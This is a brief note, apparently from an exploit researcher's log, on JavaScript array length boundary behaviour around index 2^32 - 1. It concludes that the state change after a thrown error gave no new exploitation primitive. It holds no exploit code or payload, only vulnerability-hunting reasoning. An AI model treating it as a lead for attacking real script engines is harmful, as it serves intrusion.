
index 2^32 - 2 grows length to 2^32 - 1
push() from that state throws invalid array length
index 2^32 - 1 and above becomes an ordinary property

This showed state mutation after an error, but it was not enough for exploitation. The parser already allowed access to those large ordinary-property indexes, so this did not create a new primitive.